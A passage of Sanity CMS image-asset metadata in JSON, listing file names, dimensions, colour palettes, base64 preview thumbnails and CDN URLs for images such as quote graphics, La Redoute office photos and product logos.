vlc/JGGb8UIKqlyRdeEl3r4Al/xzEnHKDGGqzlW+iFNsbmDWapi1GyMUsD8o/G5CtfyFe+kzC/osSGhJOXqCtVBCGJ7C8Sjh/jDd8gqhMcs0svCETqxPQmiWyLlHlJ2rwmnbdYW7fRC0P04phkfkwwPkTS+gRWh6ixK/xaHZ/WQNLaiEp3+n3HzOIzRM8hcvAIX+j+4IxI6mIKJrJdopkuWrKHN2whKBZutc/K2h2Zwm+S5jdCyQG+FRtPyGY52MPxYKGKT9gjpLxG1upIaoNs4ZYn+z8obk+I5z4RiN7i8l9NZyMGbdTEV2K5n2ipCfKKjaRZuEMW4j04M1/F7drDL79CCp7gVk5J5jpUdicYpSHhlIVHvcIpX7J0P+xAD09ohBQeIQYtluR/mVO+Ysnf5S998Gz2RCBVhAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a3250","foreground":"#fff","population":0.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141f6e","foreground":"#fff","population":8.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141f6e","foreground":"#fff","population":8.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9b9d2","foreground":"#000","population":6.76,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a83c1","foreground":"#fff","population":1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6e718d","foreground":"#fff","population":5.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b93c4b","foreground":"#fff","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"DiogoQuote1-FR.png","path":"images/sczeoy4w/production/581f3fe22609f828dc3f3381592a64974e699e74-1200x628.png","sha1hash":"581f3fe22609f828dc3f3381592a64974e699e74","size":406779,"uploadId":"LnnNVM2HhBnofm2KQiUPLIPezTFcf5a8","url":"https://cdn.sanity.io/images/sczeoy4w/production/581f3fe22609f828dc3f3381592a64974e699e74-1200x628.png"} {"_createdAt":"2024-12-11T14:36:17Z","_id":"image-f8d960e5da9ea803506b11927e13ef0975394b00-1200x628-png","_rev":"UPIPX87Xr8dUQrGWETLkBf","_type":"sanity.imageAsset","_updatedAt":"2024-12-11T14:36:17Z","assetId":"f8d960e5da9ea803506b11927e13ef0975394b00","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M17BKj-[^ovw0F~nAN~q~UKU4Y$=^,%QRK","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACg0lEQVR4nC2Sa1MSDRiG+Q0xmpwWhN1lDywLKC4nkWNU5jtvNqaVnRO1LFLiKMiiJllNM317/+31zmafng/3M9fcM/flmheeUqh22HlxTfneiIC8h9v/hjmhye3QBzyLLTyRE7xSF798SiA6IaidIxo2enKMmhgR0sZ/Mp/Ux+UAGxtjjo7/49/tK0LKPm7fa+aEPeaD71kItVgIn+CJdPBKQ/zRMyKxIbl8i2cPj3m1PaLSuERKTvFJp7jcvh3y5S/svPhO/YHzfIhPbBKQPxCQPxFU2oS0HgGlh08aEtRGpDItNu5uc7C1Re/tIe/2LsjUZgRUG9ct7zZKYp9suc3KahvTOsa0nNvBtPokc2OWClMMyyYSP0NOOI2O+Of+OtXMCg/rDXZ3P7LasAnFrm4aRhNNrOJnsqUv5Co9CtVT8pURhZrNWuOS0t0Zhfo3zOxXtGWbUr1FudQgKiokjBVKlV0S2QGLxg9cc/4n6KkD8pU2xVqXYn3A2p0xpcaE6r0LauszquvXFBvXJHJfEc0pRrpLzHyEIKQR5QrG0jsixhBBm90A1eQ+VvHkpmG5x2ptxGp9Qr5qkytPyZYvSObPkUxnYZto8gI91SMaayLpB4T1LoI6JqBMcbk9j5GUl5hLhxjLRxjpFlZxQL56RjI7RE31keJ9gtoAf9QZxSae+Um28pt08Tux5XPE+IRFfUJQPcPlvr2JHNoiHnuNah4iGu/JrA24s3GFtTZBSfQJRDss/NVGUCdoy9ekCr+IrcyQ4hPCuuPiCMEB3prfJOh7hCw9J6LtEVSaGOkTcuUxpjUkrDugNh6x80cbx8NF/ZKwcYmgjvBJPbxiF6/YwyuP+R8ykmyN/zYScgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444a77","foreground":"#fff","population":3.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041b6a","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6e718f","foreground":"#fff","population":5.89,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbbed8","foreground":"#000","population":4.72,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b83c1","foreground":"#fff","population":1.23,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6e718f","foreground":"#fff","population":5.89,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ba3c4c","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"DiogoQuote2-FR.png","path":"images/sczeoy4w/production/f8d960e5da9ea803506b11927e13ef0975394b00-1200x628.png","sha1hash":"f8d960e5da9ea803506b11927e13ef0975394b00","size":458411,"uploadId":"TnTtOfClz4ytNWCDzgf5oAzpii2D99Ud","url":"https://cdn.sanity.io/images/sczeoy4w/production/f8d960e5da9ea803506b11927e13ef0975394b00-1200x628.png"} {"_createdAt":"2024-12-11T14:50:58Z","_id":"image-04255c482a039b790c034f92e613417090081550-1200x628-png","_rev":"UPIPX87Xr8dUQrGWETNr3D","_type":"sanity.imageAsset","_updatedAt":"2024-12-11T14:50:58Z","assetId":"04255c482a039b790c034f92e613417090081550","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M27US[-^=+n10E^$Eo?u?ZOv4psf-=%PV.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACjElEQVR4nD3S61IaBwCG4b2FNmqUw67ALiwsC4icxc2ygAhO2kkcS2xNJ6nBaky1HgA5LIuIx7Sd6a9e7tshk8kNvD++7xEWxJ8plju8+fURa9PGq7SY8+yzIP3Oou+YJf8pS4FzXEoHT2iAV3WQIhNkfYy2YhNODFmO2HiCA9zKFcIsWHtpc3z2Hz/u3CKFDvjO9Z45b4t58Yjn0gnPfWcsBtq4lD6e0IhAtE9h7ZRfXp3xrjnEqk1RVq5xKwOEZ+435M0Lmm8fKDeG+MKHLPpaeOSPeIMniMFzRLWNFOkhhW18mk0yd8rLzSaHOzt094/40LohV7nHGx4jPHM10ZKHrFfarFltkvlzVnKXZIwBOdMhY4xJGxMyL+5YKdyjpcdYtU/80NiinMvwqlpjb+8P1mtjlqN3CPOeXaKrRxTLl7zYuMKo9jE3bMpbN1S27rDqD1iNJ0r1v8man4nlbiht/Ilp1gjJKgk9g2ntkcj38OmfERa8u8TSHzGqHUq1HqXakNKmg1WfYDVusRqPlOpP5K0HopkpSvwaPd0hGt9GFNPIQQt99QMBvY8YuUeY9+6ip2bBLlZ9gFUfYWyMKFYc1qsT1qt3ZM1b9Ow1AX328JhQ4gYt2SUUPUDRDvFrHcSwjVe9Rphz/YSq/UamcELWuGR17ZJUsftlw2RhiJ4eIsd6iOrVFzbLkTGx3F/krX9JG09EUxPkmINPc5DCI4S5xW1Uf5NkfB899YlQ/Jis0aPSmJI1HNRED0+o/Y2NGHaIpB5JFv8hmrlHiTn4tZnFIeIs+P3CayTPNkHlLYFIC0k9QE9fUDBHxLN9/JFZ6IIluY37q0OfNsWvTxHDQ9xKF5fcwSV3cQVt/gdclW6UaHl6vgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444a77","foreground":"#fff","population":2.91,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041b68","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b9bfde","foreground":"#000","population":6.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8996bd","foreground":"#000","population":0.87,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b9bfde","foreground":"#000","population":6.31,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#525d94","foreground":"#fff","population":1.38,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b94147","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Diogo 3-FR.png","path":"images/sczeoy4w/production/04255c482a039b790c034f92e613417090081550-1200x628.png","sha1hash":"04255c482a039b790c034f92e613417090081550","size":398009,"uploadId":"WYdJP3NKkxQP7nOF7GV2US7xkjDYva8p","url":"https://cdn.sanity.io/images/sczeoy4w/production/04255c482a039b790c034f92e613417090081550-1200x628.png"} {"_createdAt":"2024-06-27T12:17:43Z","_id":"image-ccc24c9234f6001658436e93eb4d2c54b535df33-2048x1536-jpg","_rev":"eksQ0uttcr8BeSzSss3Ddw","_type":"sanity.imageAsset","_updatedAt":"2024-07-03T07:21:08Z","altText":null,"assetId":"ccc24c9234f6001658436e93eb4d2c54b535df33","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VhEpNZV?j?j[j?cIjrWBoft6oMtRWCt7ofaIkDbIWBWC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3333333333333333,"height":1536,"width":2048},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAPABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYCAwUH/8QAIhAAAgIDAAIBBQAAAAAAAAAAAQIDBAAFERIxEyFBYXGB/8QAFgEBAQEAAAAAAAAAAAAAAAAAAQME/8QAHhEAAgEDBQAAAAAAAAAAAAAAAAERAgRRBRQVImL/2gAMAwEAAhEDEQA/AIWd9o7LOJFaKTvoMGAzdiua3YUoYat6CIKgXwU8LfvEKlHp9XFahjLSfOPFy0QJ/hyhNXp3kjkke2QnoLwA5pp1GF2UkXaYZ0tNBIFHGXn279cMTIdikSlYbVwR96AW7z8YY8r5DYvJ/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#554f2a","foreground":"#fff","population":0.5,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#383517","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5b7bae","foreground":"#fff","population":6.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9fb0d4","foreground":"#000","population":1.43,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#88b4ec","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5b7bae","foreground":"#fff","population":6.79,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c79bc","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"la-redoute-building.jpg","path":"images/sczeoy4w/production/ccc24c9234f6001658436e93eb4d2c54b535df33-2048x1536.jpg","sha1hash":"ccc24c9234f6001658436e93eb4d2c54b535df33","size":377513,"title":null,"uploadId":"smlNGjyfNMzlAuqiqc0Ykq5Pub5hA4ZB","url":"https://cdn.sanity.io/images/sczeoy4w/production/ccc24c9234f6001658436e93eb4d2c54b535df33-2048x1536.jpg"} {"_createdAt":"2024-06-27T12:18:07Z","_id":"image-58bb3b036942bf2862c62f77cf55d92680a40658-1090x614-jpg","_rev":"dL4QB5BmM9bhrJSKRpuH9F","_type":"sanity.imageAsset","_updatedAt":"2024-07-03T07:22:00Z","altText":null,"assetId":"58bb3b036942bf2862c62f77cf55d92680a40658","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MGHeq901IAtR%fM_xut7D%NI~pIUac?btQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.775244299674267,"height":614,"width":1090},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGBAf/xAAjEAACAQMEAgMBAAAAAAAAAAABAwIABBIFBhFRITEHEzJh/8QAFgEBAQEAAAAAAAAAAAAAAAAAAwAB/8QAGhEAAgIDAAAAAAAAAAAAAAAAAAECMREhYf/aAAwDAQACEQMRAD8AT7b1Z1/uK6sribVPScQlnnnj2B/TT261jWcprw+hSGDHg/qPR6NSXyCuNpv5LrYFTZvBlKJ4Jrv21NNsp6KZztlyk+ObSRzlLugcU6JMhWag92M5qxJiPE/YorU++uEXl0lTOFraYxGIPA8d0VkY6oTK6f/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e4234","foreground":"#fff","population":4.91,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#147684","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c2bb9d","foreground":"#000","population":6.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2bb9d","foreground":"#000","population":6.9,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#82d6de","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#68aca0","foreground":"#000","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#28a8b2","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"la-redoute-office-teammate.jpg","path":"images/sczeoy4w/production/58bb3b036942bf2862c62f77cf55d92680a40658-1090x614.jpg","sha1hash":"58bb3b036942bf2862c62f77cf55d92680a40658","size":371017,"title":null,"uploadId":"ReWxBA1ZVC0xODak7ZPcRnh3eWxsNblQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/58bb3b036942bf2862c62f77cf55d92680a40658-1090x614.jpg"} {"_createdAt":"2024-06-27T12:22:45Z","_id":"image-eb1c6ae944e59749230ee318aa1e75b1c38a3307-796x447-jpg","_rev":"p92WeIHLmx3eRj4ziDSs7l","_type":"sanity.imageAsset","_updatedAt":"2024-07-03T07:21:18Z","altText":null,"assetId":"eb1c6ae944e59749230ee318aa1e75b1c38a3307","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8A]]FD%4T.Ttl.SRO8_.8x]1kRjE1%Mt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7807606263982103,"height":447,"width":796},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGB//EACUQAAIBAwMDBQEAAAAAAAAAAAECAwAEEQUGMRITYSIjMjNBUf/EABUBAQEAAAAAAAAAAAAAAAAAAAID/8QAGxEAAgIDAQAAAAAAAAAAAAAAAAIBAxMxUkL/2gAMAwEAAhEDEQA/AMistO050DJfzMMZJA4qrbcFq2yxpCxysWfoE/5zUn9UgSP0qTwKZ9tAvSFAXnHmpxW6+ik2I24F8+3o2kyl23nP9opRcXlx35Peb5Gihis6FNqcn//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5b3e29","foreground":"#fff","population":5.79,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c2d08","foreground":"#fff","population":0.48,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d0c1ab","foreground":"#000","population":6.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0c1ab","foreground":"#000","population":6.97,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#deba9b","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#998564","foreground":"#fff","population":0.64,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c5029","foreground":"#fff","population":0.95,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"la-redoute-entrance.jpg","path":"images/sczeoy4w/production/eb1c6ae944e59749230ee318aa1e75b1c38a3307-796x447.jpg","sha1hash":"eb1c6ae944e59749230ee318aa1e75b1c38a3307","size":94597,"title":null,"uploadId":"JxgF7EfWjNLyzI6QbKmunxR4Uz1EA4kk","url":"https://cdn.sanity.io/images/sczeoy4w/production/eb1c6ae944e59749230ee318aa1e75b1c38a3307-796x447.jpg"} {"_createdAt":"2024-09-25T08:00:37Z","_id":"image-8371936a7906a98fd63ae43361a9157a4a1498e5-48x48-svg","_rev":"Ypdm2WFkfKn13FbW5XXF1h","_type":"sanity.imageAsset","_updatedAt":"2024-09-25T08:00:37Z","assetId":"8371936a7906a98fd63ae43361a9157a4a1498e5","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e6FPCaj_00oh00R4azIXfQt700aw-[WA~Y4yfj?Vfk--NAfRM@fRRi","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":48,"width":48},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEg0lEQVQ4jX2QW1OTZxSFXy7kB9AfwVVn+AcdvOMYkISQGE4RYYLBECDHj1SUUC3hIGhtvWodDyAaqVqVg4LT2o51rC2XQr3T6SXO9Du/+927sz/orRdrsmbttZ55v4igTxchnyF62nURqNcr/PV6lb9Or22r04ttdfp2W53+oa1Otw7Ffotv/nr9qL9e/yzQYFREQ7bHCDaZQoRadNHwxT8i2KxXtjfp1e2NeizQqJcDDfpuoEH/6K/XnbY6XbHYBxr0/UCjvhto1O+1N+qDwSajOthsVPo+/+hBRcj/rwi1GJUdPqOmw2cUO3zGTrDZMNqbDGJF2gw6GTE9sf8/505Hs7HT4TOmQj6jJuQzKjuPmUJE/GbF8WNGdbjVKIZbjb1QiwGhFoO620083W/i+bM2fn/V8cSeM75xh7vhVmMv3GpMMeN4wKwQnQGzqtNvxiJ+c6fTb0I0ZOJwzMLpoo03r7n0cFXi/fKB2N+65lJpysbkoIXRsIkRvwmRNm8bY5boDppHu4JmuavdMmJRi0pTDt5bcXH9kaQ7Sy4uzjpUSNs0nrZpYcbxso3HklbvSix95SBveNsdNMvdQbNW9IatYk/I2u0NW3Qm5+D2U8B3e4qePwOcn3ZoaMCmnpBFPR0WDfXbxNnzLcB3fyvi7pc5B3nbE7Le9oatSXEiYm1HI/bHvi6bpqcc/PUXoNevAJ9uAN1ZlrQw45KWciifcujijOtlzzaA3rwG/O0FeBveRiP2/omItSVOdtsf+rpsp7/XppkLLm6uAd66LunKJZfu3pa09hjowY+SHqxKWnsEXvbtZZeWb0jaXAfkDW+ZcbLbfi8Goo7V3+uo2AmH5qZdfPEz4OOH4L3mQtGlq99IKq8ciD1nfHvyExB356Zd5C0zBqKOKWJ9jhXrc9SpfofmZyT+/lLhmz+U97LrP0iaL0k6P+l6mitJL1t/AvTnG0WvXirkDW+ZEetzTBEfcD+cGnCdoZhLC3MSt58pvL8KtHwLPOiTR0BLN4GWbhx4hq0s8d8AxN2FOYm8ZUZ8wH0vTg+6W0OD7v5w3KVLFwE31hRdvQI4npPei24vAW2uK9rcULSyDPwVVMhLr8PdSxcBecsMZonhuCwm4nJ3JCHp8iLg5rrC764AjSQkJk8fjEtfA81MAxU0SZzxjTvcvbwIyNtEXL4djstJkUzI2mRClkeT0pifBbpXVri4ADg2ApRkaELSyPCB2HPGN+5wd34WiLfMYJYYScqq0STExkZhZ+IMwOyMwrMTgKkxwLFRoNSo9+vp0BPfzk0AcnfiDABvmcEsMZqEitQYVKdTUMykYS+XVZDNKMqkFX5K3OFuJg17vE2NQjWzxFgKRCYNlZm0qslmVDGbUX/lssrIZb3Bp2RkM2qHN5k01KRTUDmcJMEwca6kRC6jjuRzqjqfVzEtr8qapt5qGu5rGjqahupQ7Pe9W16VucubbEYdSU+SxxK5nBKZtBLDCVdoGlZomqoaH1e14+M4WSjgVqGA7wsFNA/Ffotv3OFuPq8q4nH0YMz5DyPOP/TfBRDyAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343c54","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#111150","foreground":"#fff","population":3.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#675ff9","foreground":"#fff","population":9.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcccac","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#746afa","foreground":"#fff","population":6.21,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5553a1","foreground":"#fff","population":1.95,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#675ff9","foreground":"#fff","population":9.42,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-alloydb-omni.svg","path":"images/sczeoy4w/production/8371936a7906a98fd63ae43361a9157a4a1498e5-48x48.svg","sha1hash":"8371936a7906a98fd63ae43361a9157a4a1498e5","size":1966,"uploadId":"xNk8MdJ9mDyB63d14sN7gMR2WaTJXdjQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/8371936a7906a98fd63ae43361a9157a4a1498e5-48x48.svg"} {"_createdAt":"2024-12-25T15:10:00Z","_id":"image-5eec0dff36c4040d5691662cb9f337e7e8876a32-180x180-png","_rev":"Qw0TwPQaQ8aBM3BSTt9iFJ","_type":"sanity.imageAsset","_updatedAt":"2024-12-25T15:10:00Z","assetId":"5eec0dff36c4040d5691662cb9f337e7e8876a32","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eIB:vzRj00%M-;t7j[WBWBRj00t7~qIUM{D%fQxuoft7WBRjj[%Mof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":180,"width":180},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADDklEQVR4nI2VSyyrURDHx6NosPFo4xEJFjZCuvJKbQRFEws0HomESMUjLCzY3CakiSBEPDYVCbGgYmXDgtXV1fVcsxIiVysNm+qi/jczOb39POrexeScfN/Mb+bMzJlDRKQnIhMROYjIQ0ReIgoSUYiIEEXelI5X2TgUg1mymSSiX0Tk+wiLiYlBbGysrCwaaEjp+pTtpGLRD/UhoJTYuxjHxcUhNTUVRqMRaWlpSExM/Ah+UzYBxWAW/VReBBaOSK/XIzc3F2azGc3NzaiqqkJeXp440Ol0WvCbsvUpFv0motcwLCEhAZmZmTCZTGhvb8fExATGx8fR2tqK8vJyFBUVwWAwiEN2TJFIXxVLNpKz5ORkFBcXo6OjAw6HA6urq1hfX8fCwgKGh4fR2dmJtrY2NDU1obKyEoWFhWKjIg0pVuSYOTk56O7uxtbWFk5OTnB6eirC+/39fbjdbpGdnR1xNDQ0JFDOtQYaKQADW1paJKKjoyPc3Nzg6ekJLy8v8Pv98Pl8eHx8xMPDA66uruB0OiUFGiDeAbmafBTO19jYGDY2NnB+fi6gYDCIQCCA5+dn3N3d4eDgAL29vRLEt8CysjLU1NTAYrFIzqampiTa+/t7eL1eWTkNs7OzqK2tlQLFx8d/D2TF+vp6aZf+/n6sra3h8vJSIru+vsbu7i76+vpQUVEhNt8CWclqtaKrqwujo6MS4ebmJs7OznB7eyvr/Py8VJvbyGg0Rj9yVlYW6urqMDAwIG0zNzeH5eVlqerFxYUU6fj4WICDg4Oim52d/QkYCrcN54OPyo3MlWbYysoKtre3JW9coL29PSwuLooO59lgMPy966rBI42dlJSE/Px8NDQ0YGRkBNPT01haWhKgx+PB4eGhwDgVjY2NKCgoEBvNsHh9d/X4B9/T9PR0lJSUSPtwJC6XSyKbmZmBzWZDaWkpMjIy5JrSF1fvy+HAnjmnXKSenh7Y7XZUV1dLzvjfh2OGtMMh6vhio5SUFGleFt5rQFHH1z8HrFb+Z8BGewIk0igShn16Av4AYS5kSI2PMKsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":9.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":9.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4c4","foreground":"#000","population":0.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"cursor.png","path":"images/sczeoy4w/production/5eec0dff36c4040d5691662cb9f337e7e8876a32-180x180.png","sha1hash":"5eec0dff36c4040d5691662cb9f337e7e8876a32","size":7047,"uploadId":"3jC3dO2JkfT2qTZPEVJXtDL2BEeS7Wwp","url":"https://cdn.sanity.io/images/sczeoy4w/production/5eec0dff36c4040d5691662cb9f337e7e8876a32-180x180.png"} {"_createdAt":"2024-12-25T15:52:02Z","_id":"image-55ea3895f7f26b40712b199989554d66213e77a7-900x900-png","_rev":"Qw0TwPQaQ8aBM3BSTtGq4j","_type":"sanity.imageAsset","_updatedAt":"2024-12-25T15:52:02Z","assetId":"55ea3895f7f26b40712b199989554d66213e77a7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e55hY{j[oJj@a}~qjsoJj@a#~qayoLj[ay~qWBofj[ax~pWBofj[ae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":900,"width":900},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAABE0lEQVR4nO3O3W7CIBjG8V6FBUoLQgGF0i7Lrkfth/Ej2f0fPkvRLNFMd7CjJR788vJy8Ifs87jFftpgHHeYph7jsLucxx77aUhzGLYY+g36fpP242GP8/mQnE4X56vs471F10U0sUGMEW0b0XUt2hjRhIAQPEIzz4D1epV479N+4W9k1hhY66CUQlUJCCEgpYQQEiUvwXmJSirwaomcECwWi6cybx2a0KTXnFuluHOzFayxqI2D8W+QNoAVHJQSUEofypYlR600jDHQuobW+jprKKWhagvt3yFMAGUFCMlBCHkom6sFY2BFATbPewVHIRRYKUEofRojc/D+Is/zb7e/+T1Gfgr+VfYK4hXEK4j/H/wCEQMafPHkPSQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a3f48","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#183e6b","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#66aae3","foreground":"#000","population":0.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2bebb","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_typ